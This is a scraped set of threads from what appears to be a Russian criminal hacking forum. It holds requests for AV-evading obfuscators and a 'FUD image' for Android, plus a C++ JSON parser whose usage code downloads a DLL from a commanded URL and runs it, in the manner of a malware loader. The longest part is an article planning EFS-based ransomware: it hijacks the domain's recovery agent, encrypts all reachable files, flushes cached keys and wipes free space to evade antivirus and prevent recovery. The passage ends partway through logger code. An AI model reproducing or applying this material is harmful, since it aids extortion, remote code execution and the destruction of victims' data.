Нужна софтина "рисующая" качественные блок-схемы на основе сорцев си. Размер программы достаточно важен (чем меньше >> тем лучше). Ещё обязательным условием должно быть отсутсвие на блок-схемах разного рода красивостей (а то встречалась уже парочка прог, где авторы навтыкали различных анимационных стрелок и прочей ерунды). блок-схема должна быть максимально приближена к гостовским стандартам :thumbsup:

Архив статей по C/C++
ID: 6765d804b4103b69df375b99
Thread ID: 5034
Created: 2005-10-04T18:58:23+0000
Last Post: 2006-03-07T21:20:23+0000
Author: VIKT0R
Prefix: Мануал/Книга
Replies: 1 Views: 3K

Архив статей по C/C++

http://infobez.net.ru/cpp

Brute and Checker Source c#
ID: 6765d804b4103b69df375b21
Thread ID: 27012
Created: 2018-12-23T22:25:18+0000
Last Post: 2018-12-23T22:25:18+0000
Author: DeiTy
Replies: 0 Views: 2K

Если будут вопросы по данному коду , пишите .

Скачать

Obfuscator vbs ищу
ID: 6765d804b4103b69df375ac0
Thread ID: 33117
Created: 2019-11-10T14:16:57+0000
Last Post: 2019-12-02T08:36:27+0000
Author: Alaska
Replies: 2 Views: 2K

Нужна помощь в обфускации кода vbs. Пробовал доступные на гитхабе, но самый лучший вариант оставляет 2 статик детекта. Есть ли приватные обфускаторы на рынке?

Транзакция btc
ID: 6765d804b4103b69df375ac7
Thread ID: 33363
Created: 2019-11-22T09:31:26+0000
Last Post: 2019-11-22T20:28:46+0000
Author: Crypto Locker
Replies: 4 Views: 2K

Какой есть способ проверки транзы битка кроме api blockchain? Ищу но ничего так и не нахожу

Реализация TOR
ID: 6765d804b4103b69df375acb
Thread ID: 33174
Created: 2019-11-13T15:49:06+0000
Last Post: 2019-11-15T10:51:05+0000
Author: Crypto Locker
Replies: 6 Views: 2K

Может кто-то знает где описана в мельчайших деталях работа тора так, что-бы это можно было реализовать самому.
Желательно на русском

шифрование xtea
ID: 6765d804b4103b69df375ab1
Thread ID: 34137
Created: 2019-12-31T02:38:39+0000
Last Post: 2019-12-31T13:36:25+0000
Author: ColorS
Replies: 3 Views: 2K

люди, кто знает, как шифровать xtea если это касается c#
прошу помощи, как юзать так и не нашел,
цель: зашифровать файл, и дешифровать ( на диске)
https://gist.githubusercontent.com/...ea062e553ddf2fb504c4186512ac41650a8b0/XTEA.cs -ссылка на источник

нужен спец по JAVA
ID: 6765d804b4103b69df375ab2
Thread ID: 34067
Created: 2019-12-26T12:41:58+0000
Last Post: 2019-12-30T12:14:21+0000
Author: hvmpii1
Replies: 6 Views: 2K

будем открывать android с помощью fud изображения

С# Вопрос по поводу шифрования (MD5)
ID: 6765d804b4103b69df375ab3
Thread ID: 33918
Created: 2019-12-18T16:20:16+0000
Last Post: 2019-12-29T09:12:13+0000
Author: n1ppyyyy
Replies: 5 Views: 2K

string password = Encoding.ASCII.GetString(Convert.FromBase64String"pass")); - хэш от Base64
Как реализовать тоже самое, нос хэшем md5?? Софт разобрали и поймали пасс от зипа, ибо хэш base64 расшифровать как нефиг делать.
Думаю md5 меня спасает в этом плане)

C++ mini json parser
ID: 6765d804b4103b69df375ab4
Thread ID: 33847
Created: 2019-12-15T17:30:17+0000
Last Post: 2019-12-26T07:23:39+0000
Author: Triada
Replies: 10 Views: 2K

Spoiler: .cpp

C++:Copy to clipboard

#include <windows.h>
#include "minijson.h"

#define ISSPACE(c) ((char)(c) == ' ' || (char)(c) == '\n')
#define SKIPSPACE(p) while(ISSPACE(*p))++p

parse_status parse_object(char *, char **);
parse_status parse_array(char *, char **);
parse_status parse_number(char *, char **);
parse_status parse_string(char *, char **);

parse_status skip_object(char **);
parse_status skip_array(char **);
parse_status skip_number(char **);
parse_status skip_string(char **);
parse_status skip_value(char **);

bool _isspace(int c)
{
    return c == ' ' || c == '\t';
}

long int _atol(const char* string)
{
    register long int result = 0;
    register unsigned int digit;
    int sign;

    while (_isspace(*string)) {
        string += 1;
    }

    if (*string == '-') {
        sign = 1;
        string += 1;
    }
    else {
        sign = 0;
        if (*string == '+') {
            string += 1;
        }
    }

    for (; ; string += 1) {
        digit = *string - '0';
        if (digit > 9) {
            break;
        }
        result = (10 * result) + digit;
    }

    if (sign) {
        return -result;
    }
    return result;
}

int _strncmp(const char * s1, const char * s2, size_t n)
{
    while (n && *s1 && (*s1 == *s2))
    {
        ++s1;
        ++s2;
        --n;
    }
    if (n == 0)
    {
        return 0;
    }
    else
    {
        return (*(unsigned char *)s1 - *(unsigned char *)s2);
    }
}

parse_status skip_value(char **top)
{
    char *orig = *top;
    char *p;
    parse_status ret;

    switch (**top) {
    case '{':
        ret = skip_object(top);
        break;
    case '[':
        ret = skip_array(top);
        break;
    case '"':
        ret = skip_string(top);
        break;
    case '-':
    case '0': case '1': case '2': case '3': case '4':
    case '5': case '6': case '7': case '8': case '9':
        ret = skip_number(top);
        break;
    case 't': // true
        if (!_strncmp(*top, "true", 4)) {
            ret = PARSE_SUCCEEDED;
            *top += 3;
        }
        else {
            ret = PARSE_FAILED_TRUE;
        }
        break;
    case 'f': // false
        if (!_strncmp(*top, "false", 5)) {
            ret = PARSE_SUCCEEDED;
            *top += 4;
        }
        else {
            ret = PARSE_FAILED_FALSE;
        }
        break;
    case 'n': // null
        if (!_strncmp(*top, "null", 4)) {
            ret = PARSE_SUCCEEDED;
            *top += 3;
        }
        else {
            ret = PARSE_FAILED_NULL;
        }
        break;
    default:
        break;
    }

    if (ret != PARSE_SUCCEEDED) {
        *top = orig;
        return ret;
    }

    return PARSE_SUCCEEDED;
}


parse_status skip_object(char **top) {
    char *p, *orig = *top;
    parse_status ret;
    if ((ret = parse_object(*top, &p)) != PARSE_SUCCEEDED) {
        *top = orig;
        return ret;
    }
    *top = p;
    return PARSE_SUCCEEDED;
}

parse_status skip_array(char **top) {
    char *p, *orig = *top;
    parse_status ret;
    if ((ret = parse_array(*top, &p)) != PARSE_SUCCEEDED) {
        *top = orig;
        return ret;
    }
    *top = p;
    return PARSE_SUCCEEDED;
}

parse_status skip_string(char **top) {
    char *p, *orig = *top;
    parse_status ret;
    if ((ret = parse_string(*top, &p)) != PARSE_SUCCEEDED) {
        *top = orig;
        return ret;
    }
    *top = p;
    return PARSE_SUCCEEDED;
}

parse_status skip_number(char **top) {
    char *p, *orig = *top;
    parse_status ret;
    if ((ret = parse_number(*top, &p)) != PARSE_SUCCEEDED) {
        *top = orig;
        return ret;
    }
    *top = p;
    return PARSE_SUCCEEDED;
}


parse_status parse_object(char *beg, char **end)
{
    if (*beg != '{')
        return PARSE_FAILED_OBJECT;

    char *p = beg;
    char *tmp;
    parse_status ret;

    p++; // next to '{'
    while (*p != '}') {
        // key
        SKIPSPACE(p);
        if ((ret = skip_string(&p)) != PARSE_SUCCEEDED)
            return ret;
        p++; // next to closing '"'
        SKIPSPACE(p);
        if (*p != ':')
            return PARSE_FAILED_OBJECT;
        p++; // next to ':'
        SKIPSPACE(p);

        // value
        if ((ret = skip_value(&p)) != PARSE_SUCCEEDED)
            return ret;
        p++;
        SKIPSPACE(p);

        // comma
        if (*p != ',' && *p != '}') {
            return PARSE_FAILED_OBJECT;
        }
        if (*p == ',') {
            p++;
            SKIPSPACE(p);
        }
    }
    *end = p;
    return PARSE_SUCCEEDED;
}

parse_status parse_array(char *beg, char **end)
{
    if (*beg != '[')
        return PARSE_FAILED_ARRAY;

    char *p = beg;
    parse_status ret;

    p++; // next to '['
    while (*p != ']') {
        SKIPSPACE(p);
        if ((ret = skip_value(&p)) != PARSE_SUCCEEDED)
            return ret;

        p++;
        SKIPSPACE(p);

        if (*p != ',' && *p != ']') {
            return PARSE_FAILED_ARRAY;
        }
        if (*p == ',') {
            p++;
            SKIPSPACE(p);
        }
    }
    *end = p;
    return PARSE_SUCCEEDED;
}

parse_status parse_string(char *beg, char **end) // "[^"]*"
{
    if (*beg != '"')
        return PARSE_FAILED_STRING;

    char *p = beg;
    while (*(++p) != '"')
        if (*p == '\\') p++;

    *end = p;
    return PARSE_SUCCEEDED;
}

parse_status parse_number(char *beg, char **end) // [0-9]+
{
    char *p;
    for (p = beg; ('0' <= (*p) && (*p) <= '9') || *p == '-'; ++p);
    *end = p - 1;
    if (beg > *end)
        return PARSE_FAILED_NUMBER;
    else
        return PARSE_SUCCEEDED;
}



parse_status json_parse(const char *str, json_value_t *res)
{
    char *p = (char*)str;
    parse_status ret = PARSE_SUCCEEDED;
    SKIPSPACE(p);

    switch (*p) {
    case '{':
        res->type = JSON_OBJECT;
        break;
    case '[':
        res->type = JSON_ARRAY;
        break;
    case '\"':
        res->type = JSON_STRING;
        break;
    case '-':
    case '0': case '1': case '2': case '3': case '4':
    case '5': case '6': case '7': case '8': case '9':
        res->type = JSON_NUMBER;
        break;
    case 't':
        res->type = JSON_TRUE;
        break;
    case 'f':
        res->type = JSON_FALSE;
        break;
    case 'n':
        res->type = JSON_NULL;
        break;
    default:
        ret = PARSE_FAILED;
    }
    if (ret == PARSE_SUCCEEDED) res->value = p;
    return ret;
}

parse_status json_get_object(json_value_t json, const char *key, json_value_t *res)
{
    if (json.type != JSON_OBJECT)
        return PARSE_FAILED_TYPE_MISSMATCH;

    char *p = json.value;
    char *tmp;
    int key_len = lstrlenA(key);
    parse_status ret;

    p++;
    while (1) {
        SKIPSPACE(p);

        if (*p == '}') {
            return PARSE_FAILED_NOT_FOUND_KEY;
        }

        if (*p == '\"' && *(p + key_len + 1) == '\"' && !_strncmp(p + 1, key, key_len)) { // found key
            tmp = p + key_len + 2; // next to closing '\"'
            SKIPSPACE(tmp);
            if (*tmp != ':') return PARSE_FAILED_OBJECT;
            tmp++;
            SKIPSPACE(tmp);
            return json_parse(tmp, res);
        }

        // skip until next key
        if ((ret = skip_string(&p)) != PARSE_SUCCEEDED) {
            return ret;
        }
        p++; // next to closing key '"'
        SKIPSPACE(p);
        if (*p != ':')
            return PARSE_FAILED_OBJECT;
        p++; // next to ':'
        SKIPSPACE(p);

        if ((ret = skip_value(&p)) != PARSE_SUCCEEDED) {
            return ret;
        }
        p++;
        SKIPSPACE(p);

        // comma
        if (*p == ',') {
            p++;
        }
        SKIPSPACE(p);
    }
}

parse_status json_get_array(json_value_t json, int idx, json_value_t *res)
{
    if (json.type != JSON_ARRAY)
        return PARSE_FAILED_TYPE_MISSMATCH;

    char *p = json.value;
    char *tmp;
    parse_status ret;

    p++;
    while (idx--) {
        SKIPSPACE(p);
        skip_value(&p);
        p++;
        SKIPSPACE(p);
        if (*p != ',')
            return PARSE_FAILED_ARRAY;
        p++;
    }
    SKIPSPACE(p);
    return json_parse(p, res);
}

parse_status json_get_number(json_value_t json, long long *val)
{
    if (json.type != JSON_NUMBER)
        return PARSE_FAILED_TYPE_MISSMATCH;

    char *end;
    char buf[32];
    int i;
    parse_status ret;
    if ((ret = parse_number(json.value, &end)) != PARSE_SUCCEEDED)
        return ret;
    for (i = 0; i <= end - json.value; i++) buf[i] = *(json.value + i);
    *val = _atol(buf);
    return PARSE_SUCCEEDED;
}

parse_status json_get_string(json_value_t json, char *val)
{
    if (json.type != JSON_STRING)
        return PARSE_FAILED_TYPE_MISSMATCH;

    char *end;
    int i;
    parse_status ret;
    if ((ret = parse_string(json.value, &end)) != PARSE_SUCCEEDED)
        return ret;
    for (i = 0; i < end - json.value - 1; i++) *(val + i) = *(json.value + i + 1);
    *(val + i) = '\0';
    return PARSE_SUCCEEDED;
}

Spoiler: .h

C++:Copy to clipboard

#ifndef _INCLUDE_MINIJSON_H
#define _INCLUDE_MINIJSON_H

typedef enum {
    PARSE_SUCCEEDED = 0,
    PARSE_FAILED,
    PARSE_FAILED_OBJECT,
    PARSE_FAILED_ARRAY,
    PARSE_FAILED_STRING,
    PARSE_FAILED_NUMBER,
    PARSE_FAILED_TRUE,
    PARSE_FAILED_FALSE,
    PARSE_FAILED_NULL,
    PARSE_FAILED_NOT_FOUND_KEY,
    PARSE_FAILED_TYPE_MISSMATCH,
} parse_status;

typedef enum {
    JSON_STRING,
    JSON_NUMBER,
    JSON_OBJECT,
    JSON_ARRAY,
    JSON_TRUE,
    JSON_FALSE,
    JSON_NULL,
} json_value;

typedef struct {
    json_value type;
    char *value;
} json_value_t;

parse_status json_parse(const char*, json_value_t*);
parse_status json_get_object(json_value_t, const char*, json_value_t*);
parse_status json_get_array(json_value_t, int, json_value_t*);
parse_status json_get_number(json_value_t, long long*);
parse_status json_get_string(json_value_t, char*);

#endif // _INCLUDE_MINIJSON_H

От меня usage:

C++:Copy to clipboard

void execCommand(LPCSTR commandData, LONG commandLength) {
    Network network;

    char urlBuffer[32767];
    char fileBuffer[32767];
    char argumentBuffer[32767];

    json_value_t json;
    json_value_t jsonUrl;
    json_value_t jsonFile;
    json_value_t jsonArgument;
    if (PARSE_SUCCEEDED == json_parse(commandData, &json)) {
        if (PARSE_SUCCEEDED == json_get_object(json, "url", &jsonUrl) && PARSE_SUCCEEDED == json_get_object(json, "file", &jsonFile) && PARSE_SUCCEEDED == json_get_object(json, "arg", &jsonArgument)) {
            json_get_string(jsonUrl, urlBuffer);
            json_get_string(jsonFile, fileBuffer);
            json_get_string(jsonArgument, argumentBuffer);

            DWORD dwOutSize = 0;
            LPBYTE lpDllBytes = network.winHttpDownloadFile(urlBuffer, fileBuffer, &dwOutSize);
            runPlugin(lpDllBytes, dwOutSize, argumentBuffer);
            _free(lpDllBytes);
        }
    }
}
C++ Как писать асинхронные приложения. Часть 2
ID: 6765d804b4103b69df375ab5
Thread ID: 34030
Created: 2019-12-24T16:21:01+0000
Last Post: 2019-12-25T13:19:00+0000
Author: Triada
Prefix: Статья
Replies: 3 Views: 2K

Сегодня мы рассмотрим такую вещь, как Threadpool, а конкретно WinAPI-функцию QueueUserWorkItem.
Эта функция позволяет создавать очередь. Threadpool будет выполнять переданные вами функцию по очереди.

C++:Copy to clipboard

BOOL QueueUserWorkItem(
  LPTHREAD_START_ROUTINE Function,
  PVOID                  Context,
  ULONG                  Flags
);

Function - Указатель на нашу функцию, функция должна быть обязательно такого вида:

Code:Copy to clipboard

DWORD WINAPI Function(LPVOID param){
    return 0;//в место нуля может быть то, что вам нужно
}

Context - это ваша переменная которую вы хотите передать в неё.
Flags - это дополнительные флаги которые вы хотите использовать, вот список флагов:

WT_EXECUTEDEFAULT
По умолчанию функция обратного вызова ставится в очередь в рабочий поток, не связанный с вводом-выводом.
Функция обратного вызова ставится в очередь в поток, который использует порты завершения ввода / вывода, что означает, что они не могут выполнить ожидаемое ожидание. Поэтому, если ввод-вывод завершает работу и генерирует APC, APC может ожидать неопределенно долго, поскольку нет никакой гарантии, что поток войдет в состояние ожидания с оповещением после завершения обратного вызова.

WT_EXECUTEINIOTHREAD
Этот флаг не используется.
Windows Server 2003 и Windows XP: функция обратного вызова ставится в очередь в рабочий поток ввода-вывода. Этот флаг следует использовать, если функция должна выполняться в потоке, который ожидает в состоянии оповещения.

Рабочие потоки ввода / вывода были удалены, начиная с Windows Vista и Windows Server 2008.

WT_EXECUTEINPERSISTENTTHREAD
Функция обратного вызова ставится в очередь в поток, который никогда не завершается. Это не гарантирует, что каждый раз используется один и тот же поток. Этот флаг следует использовать только для коротких задач или он может повлиять на другие операции таймера.
Этот флаг должен быть установлен, если поток вызывает функции, которые используют APC. Для получения дополнительной информации см. Асинхронные вызовы процедур .
Обратите внимание, что в настоящее время ни один рабочий поток не является действительно постоянным, хотя рабочие потоки не завершаются, если есть какие- либо ожидающие запросы ввода-вывода.

WT_EXECUTELONGFUNCTION
Функция обратного вызова может выполнить долгое ожидание. Этот флаг помогает системе решить, следует ли создавать новый поток.

WT_TRANSFER_IMPERSONATION
Функции обратного вызова будут использовать текущий токен доступа, будь то токен процесса или олицетворения. Если этот флаг не указан, функции обратного вызова выполняются только с токеном процесса.
Windows XP: этот флаг не поддерживается до Windows XP SP2 и Windows Server 2003.

Минус этой функции в том, что в неё нельзя передавать выполнение на неуправляемые части кода, т.е. с некоторыми инжектами будет проблемы

Пишем свой "шкафчик" на плюсах. Или еще раз об универсальности принципов построения архитектуры
ID: 6765d804b4103b69df37567f
Thread ID: 119370
Created: 2024-07-22T16:43:41+0000
Last Post: 2024-12-20T07:37:45+0000
Author: Snow
Prefix: Статья
Replies: 6 Views: 2K

автор: Snow.
источник: xss.is

1 Введение
Навеяло топиком здесь же. Судя по всему народу не дает покоя слава REvil’ов и им подобных ребят. Вот и хотят они много денег, да еще
и быстро. Поэтому раз за разом появляются топики вида «Хочу свой локер, памагите». В основном это «жертвы ЕГЭ». Так не бывает. Для
любой области можно считать верной аксиому «успех профессионала прямо пропорционален квадрату его задницы» (ИМХО:
тот, кто реально хочет написать такую штуку – подобные вопросы не задает, а планомерно увеличивает площадь собственной пятой точки
проводя бессонные ночи за чтением документации, литературы по теории разработки программного обеспечения и в отладчике.)
1.1 С чего все началось
Давным давно, когда деревья были большими, трава зеленой, а небо синим – попалась мне на глаза статья в нашем любимом журнале
«Хакер».
В ней говорилось о том, что некие исследователи смогли реализовать «Шкафчик» на основе EFS – encrypted file system. Причем такой,
что большинство аверов будет молчать и даже пикнуть не посмеет, т.к. сочтет все происходящее легитимными действия.
Исследователи уведомили основных разработчиков аверов и мелкософт. Ниже приведу реакцию различных компаний на данное иссле-
дование:
• Avast: внедрили исправление в антивирус версии 19.8 и выплатили исследователям награду в размере 1000 долларов.
• Avira: сочли, что потенциальный обход защиты зависит от сценария индивидуального использования и вряд ли может считаться
«точкой отказа», достойной внимания.
• Bitdefender: с 10 января исправление задействовано в Bitdefender Antivirus, Bitdefender Total Security и Bitdefender Internet Security
версии 0.14.85. В Bitdefender Free Edition исправление пока доступно только в режиме уведомлений и потребует дальнейшей на-
стройки.
• Check Point: исправление уже доступно в Corporate Endpoint Client E82.30 и в ближайшие дни станет доступно в новом выпуске
Anti-Ransomware Zone Alarm. D7xTech: разработчик уведомлен 5 июля 2019 года, статус неизвестен.
• ESET: в настоящее время компания работает над выпуском обновления и призывает клиентов обратиться к Customer Advisory
2020-0002 для получения дополнительной информации о вариантах смягчения проблемы.
• F-Secure: уже обнаруживает EFS-малварь как W32/Malware!Online и Trojan.TR/Ransom.Gen.
• GridinSoft: имеет только бета-версию продукта, выпущенную в 2016 году. С тех пор она не обновлялась, и дело не дошло до
полноценного релиза. Поэтому решение защищает лишь от тех вымогателей, которые были популярны до 2016 года.
• IObit: исправление доступно в версии 7.2.
• Kaspersky: все продукты компании обновлены и теперь защищают от описанных исследователями атак.
• McAfee: выпустила защиту от эксплоита исследователей в виде Anti-Virus (AV) DAT, доступных как для корпоративных, так и
домашних пользователей. Корпоративные клиенты, использующие MVision EDR, получили специальное правило для обнаружения
подобных атак. С помощью EDR администратор может сканировать свои машины на наличие малвари, а затем заблокировать ее
выполнение или удалить.
• Microsoft: оценили описанную экспертами проблему как умеренную угрозу, которая не соответствует Microsoft Security Servicing
Criteria for Windows. Microsoft, возможно, рассмотрит исправление этой проблемы в будущих продуктах.
• Panda Security: сообщает, что работа продуктов Panda Adaptive Defense основана не на шаблонах, а на классификации всех файлов
и процессов, выполняющихся на машине. Таким образом, любая атака с использованием подозрительных файлов и процессов будет
обнаружена и блокирована.
• Sophos: Sophos Intercept X и все клиенты, использующие данный продукт, получили обновление и защищены.
• Symantec: создали две сигнатуры для обнаружения подобных атак, чтобы смягчить проблему.
• TrendMicro: в настоящее время работает над созданием защиты от таких атак, а пока рекомендует пользователям отключить EFS.
• Webroot: благодарит специалистов SafeBreach Labs и уверяет, что теперь встретит подобные атаки во всеоружии.

«Интересно», подумал я, и перешел к следующей статье, однако идея отложилась в голове. Не то, чтобы я хотел заняться рансомом,
упаси боже. Но мне стало любопытно – действительно ли можно обойти аверы подобным способом? Почему майкрософты и некоторые
вендоры отнеслись к проблеме довольно прохладно.
Спустя некоторое время я начал изучать GPO – групповые политики для Active Directory и наткнулся в ютубе на плейлист , в котором сразу 3 видео были посвящены GPO и EFS. Я это тоже отложил в долгий ящик и успешно забыл.
Ну а поскольку, как известно, дурная голова рукам покоя не дает, то сегодня мы попробуем написать свой шкафчик, но не простой –
так умеют многие, а хитрого, способного работать под носом у аверов.
Статья носит чисто исследовательский характер и предназначена для начинающих разработчиков. Основная цель статьи – показать
возможность применения основных принципов проектирования архитектуры к любому проекту. Просто я тут случайно наткнулся на
исходники HelloKitty и не смог без слез смотреть на это.

1.2 Немного теории
Для начала попробуем разобраться что это за зверь такой – EFS и с чем его едят.
EFS (Encrypting File System) - это шифрованная файловая система являющаяся частью NTFS, позволяющая пользователям хранить
данные на диске в зашифрованном формате. Файл зашифрованный одним пользователем не может быть открыт другими пользователями,
если им не предоставлены соответствующие разрешения. После того как файл был зашифрован, он автоматически остается зашифрованным
в любом месте хранения на диске. Пользователь, имеющий права на открытие файла. работает с ним как обычно, а остальные пользователи
при попытке открыть такой файл, получают сообщение "Отказано в доступе". Шифрованию могут подвергаться любые файлы, в том числе
исполняемые.
Не очень точное определение, но описывающее «для самых маленьких» общую суть. В статье (https://www.ixbt.com/storage/efs.html), не
смотря на то, что она довольно древняя, описано достаточно подробно, я не буду ее дублировать здесь. Приведу лишь основные положения
из нее.

1. для повышения скорости используется симметричное шифрование;
2. ключ шифрования File Encryption Key (FEK) – случайным образом сгенерированный ключ заданной длины;
3. ключи FEK зашифрованы master-ключом, который зашифрован ключом пользователей системы, имеющего доступ к файлу. Закры-
тый ключ пользователя защищается хэшем пароля этого самого пользователя.
4. FEK’и хранятся в специальном атрибуте DDF – data decription field.
5. закрытый ключик, которым можно расшифровать хранится в пользовательском хранилище сертификатов. Его можно оттуда уда-
лить, предварительно экспортируя сертификат в надежное место под паролем;
С шифрованием файлов более-менее разобрались. Теперь надо понять что там за магия с закрытыми ключами.
В этой статье (<https://winitpro.ru/index.php/2014/01/20/shifruem-dannye-v- windows-8-s-pomoshhyu-efs/>) все максимально подробно рас-
писано и я не буду ее дублировать здесь. Отмечу только, общий алгоритм действий:

1.2.1 Шифрование файла/каталога
1. зашифровать файл с помощью EFS можно через графический интерфейс пользователя;
2. если сертификат EFS не был создан ранее, то он будет сгенерирован и винда предусмотрительно предложит вам его забекапить;
3. поскольку ключики у нас хранятся вместе с сертификатом, то посмотреть их можно в Certifcate Storage, который мы позовем с
помощью набранной в консоли команды certmgr
4. методом пристального всматривания определяем, что можно удалить приватный ключик после успешного удаления сертификата и
берем себе это на заметку;
5. этого в статье нет, но путем проведения эксперимента выясняем, что после удаления сертификата из хранилища и последующей
перезагрузки или завершения сеанса пользователя, зашифрованные файлы нам недоступны. Это мы тоже запомним.

1.2.2 Расшифровка файла
Выполняем те же операции, но в обратном порядке. Импортируем сертификат, затем через гуй расшифровываем.

1.2.3 Доверяй, но проверяй
Проведем небольшой эксперимент. В чистой системе, где точно не использовалось ранее шифрование с помощью EFS попробуем за-
шифровать ручками один файл. Повторим действия описанные в статье, но с небольшой поправкой. Для начала мы откроем cert store и
будем за ним внимательно наблюдать.
Поехали.
1721661786590.png

Теперь зашифруем 1 файл и посмотрим что получилось.

1721661867125.png

1721661899992.png

Отлично. Теперь экспортируем сертификат, а затем удалим его.
Пока текущий сеанс пользователя не завершен – сертификат живет в кэше и файл еще можно открыть. Завершаем сеанс. Авторизуемся
заново. Упс, а файлик уже не открывается.
Отлично. Мы смогли зашифровать файл и сделать так, чтобы его никто не смог больше открыть.
Теперь проделаем обратную операцию. Установим сертификат и попробуем открыть файл. У нас тоже все получилось.

1.3 Предварительные итоги
Итак, у нас есть метод шифрования файлов, который мы протестировали. Есть метод дешифровки. Теперь дело за малым – написать
код.
Однако есть и ложка дегтя.
Рассмотрим такую ситуацию. Условный Джон Смит трудился в корпорации зла. Затем повздорил с кем-то и решил зашифровать все
файлы, до которых доберется через EFS. А потом прихватить с собой сертификат или просто удалить его с глаз долой из сердца вон. А
документы, до которых он добрался – архиважные. Казалось бы, всё. Пиши пропало. Даже если этого редиску и посодют, то компания
понесет огромные убытки. Это не есть хорошо. Поэтому разработчики предусмотрели механизм защиты. Для этого используется так
называемый Data Recovery Agent. Если простыми словами, то это пользователь, наделенный правами восстановления зашифрованных
данных. Как это работает?
Все очень просто. Если в домене есть учетная запись с правами DRA, то FEK шифруется несколькими ключами. Точнее – создается
несколько копий FEK и каждая шифруется своим ключом. Например, у нас есть юзер Джон Смит. Он решил зашифровать файлы.
Следовательно одна копия FEK шифруется его ключом. А еще есть админ Питер Джонсон, у которого помимо прочего роль DRA. Поэтому
создается еще одна копия FEK и шифруется уже его ключом. Следовательно, если даже товарищ Смит, в обиде на весь мир, зашифрует
свои файлы своим ключом и удалит его, то у товарища Джонсона будет возможность восстановить эти файлы. Это проблема для нас, если
мы позиционируем себя как злые и бессердечные рансомщики, но решаемая, причем достаточно просто.
Опуская детали скажу, что достаточно лишь создать отдельного пользователя, назначить ему права Data Recovery Agent’a, удалить
сертификаты, а вместе с ними и приватные ключи, остальных DRA. А после завершения своего черного дела прихватить ключик от нашего
DRA с собой. Звучит просто, не правда ли? Во всяком случае в тестовой лаборатории у меня проблем с этим не возникло. А на живых сетях
я не пробовал и вам не советую. Конечно, я все настраивал через гуй на контроллере домена. В теории достаточно написать простенький
повершелл скрипт, который автоматизирует это все.
Да, чуть не забыл, экспортировать сертификат DRA нужно после того, как отработает последний локальный шифровальщик. Для вос-
становления данных всей сети достаточно установить сертификат DRA на контроллере домена. Ну и потом обновить групповые политики
на всех машинах домена. Сразу после этого все файлы станут доступны. Можно даже не расшифровывать. Все будет работать.
1.3.1 Алгоритм подготовки сети к шифрованию
Попробуем прикинуть что нам понадобится сделать, чтобы все получилось по фэншую.
Поехали.
1. проверить наличие настроенных политик EFS и DRA в домене.
2. Если DRA есть в системе, то удалить его сертификат и сгенерировать новый;
3. Если GPO для EFS не настроены в системе, то выполнить настройку самостоятельно. Как это сделать можно посмотреть тут
4. Сгенерировать сертификат DRA. Система устроена так, что без этого на локальных машинах при попытке зашифровать файл с
помощью EFS будет появляться ошибка, с требованием обратиться к сисадмину.
Теперь, когда танцы с бубном на контроллере домена закончены можно подумать о самом процессе шифрования.
У меня получился примерно следующий алгоритм:
1. обновить групповые политики, чтобы уведомить систему о том, что DRA у нас есть и она может не переживать о безвозвратной
потере данных;
2. проверить наличие EFS сертификата в локальном хранилище пользователя. Если он там есть, то либо аккуратно экспортировать
его и прихватить с собой. а затем удалить. Либо просто удалить. Что я и сделаю, дабы не усложнять задачу.
3. сгенерировать новый сертификат EFS, с помощью которого мы будем злодействовать;
4. экспортировать сертификат – то бишь сохранить наш .pfx файл куда нибудь, а чтобы нам не запутаться кто откуда, дадим ему имя
computer_name.pfx. Да, еще неплохо было бы под пароль это все. Поэтому пароль тоже будем генерировать или сохранять такой,
чтобы его было сложно подобрать в случае, если по каким-то причинам он попадет не в те руки.
5. зашифровать все, до чего сможем дотянуться;
6. удалить сертификат из хранилища;
7. почистить за собой кэш, в котором обязательно сохранится копия сертификата. Для этого разработчики предусмотрительно предо-
ставили нам соответствующие инструменты (cipher.exe /FLUSHCACHE).
8. чтобы жизнь совсем медом не казалась затереть все свободное пространство на диске нулями. Операция ресурсоемкая и длительная.
Поэтому ее запускаем уже после того, как свалим из сети.
Ну вот собственно и все. Да, это гораздо более гемморойно, нежели просто раскидать локер по сети через гпо или чем там нынче
пользуются и запустить его. Но зато все аверы будут курить в сторонке. Ну я на это надеюсь. Во всяком случае Касперский, Софочка,
сентик и аваст у меня в лабе промолчали. Мне не пришлось ломать голову с поиском их панелей и вылавливать админа с целью выявить
их расположение и креды к ним.
Расшифровка будет выполняться в обратном порядке. Установили сертификат. Расшифровали.

2 Реализация.
2.1 Проектирование. Общие наброски.

Итак, как известно, любое здание начинается с чертежей, а любой софт с проектирования архитектуры. Я не устану повторять, что
грамотно спроектированная архитектура имеет архиважное значение. Даже, а точнее – тем более, в таком проекте, как «шкафчик». Тем
более, не совсем обычный. Хотя, если грамотно спроектировать его, то с помощью минимальных изменений, его можно превратить в
«обычный». Чем мы сейчас и займемся – проектированием.
Небольшое дополнение. Писать мы будем на С++, используя стандарт С++ 17. Можно, конечно, использовать чистый Си или «Си с
классами», как это реализовано в большинстве виденных мной паблик исходниках. Но я хочу показать, что на «православных плюсах»
это всё пишется проще, быстрее и понятнее.
Поехали.
2.2 Модули приложения.
Для начала попробуем ответить себе на вопрос: "какие модули необходимы для работы приложения?". Затем пройдемся по каждому
модулю и ответим на вопрос: "а нахрена? Действительно ли он нам нужен?". Если на эти вопросы удалось получить более-менее вменяемый
ответ, то модуль оставляем, иначе вычеркиваем его.
2.2.1 Логи.
Как я уже неоднократно говорил – логи наше все. Отладчик, конечно, никто не отменял. Но грамотно спроектированные логи позволяют
обращаться к нему только в случаях, когда это действительно необходимо. Поэтому нам понадобится логгер, да не простой, а с поддержкой
многопоточности и записью в файл. В условиях «боевого» применения мы их, естественно, отключим. А на стадии разработки нам без
него никак.
Логгер у меня есть свой, написан очень давно, отлажен и протестирован, поэтому возьмем его и пойдем дальше. Код приведен ниже:

Spoiler: Logger

C++:Copy to clipboard

#ifndef CONSOLE_LOGGER_HPP
#define CONSOLE_LOGGER_HPP

#include <chrono>
#include <string>
#include <ctime>
#include <Windows.h>
#include "tools/thread_pool/synced_stream.hpp"
#pragma warning(disable : 4996)
namespace tools
{
    using namespace multithreading;
    enum COLORS
    {
        BLACK = 0,
        DARK_BLUE = 1,
        DARK_GREEN = 2,
        LIGHT_BLUE = 3,
        DARK_RED = 4,
        MAGENTA = 5,
        ORANGE = 6,
        LIGHT_GRAY = 7,
        GRAY = 8,
        BLUE = 9,
        GREEN = 10,
        CYAN = 11,
        RED = 12,
        PINK = 13,
        YELLOW = 14,
        WHITE = 15,
    };

    namespace settings
    {
        static COLORS g_flagTimeColor = LIGHT_BLUE;
        static COLORS g_textColor = WHITE;
        static COLORS g_prefixColor = RED;
    }


    class LogType
    {
    public:
        COLORS p_color = settings::g_prefixColor;
        std::string p_prefix;

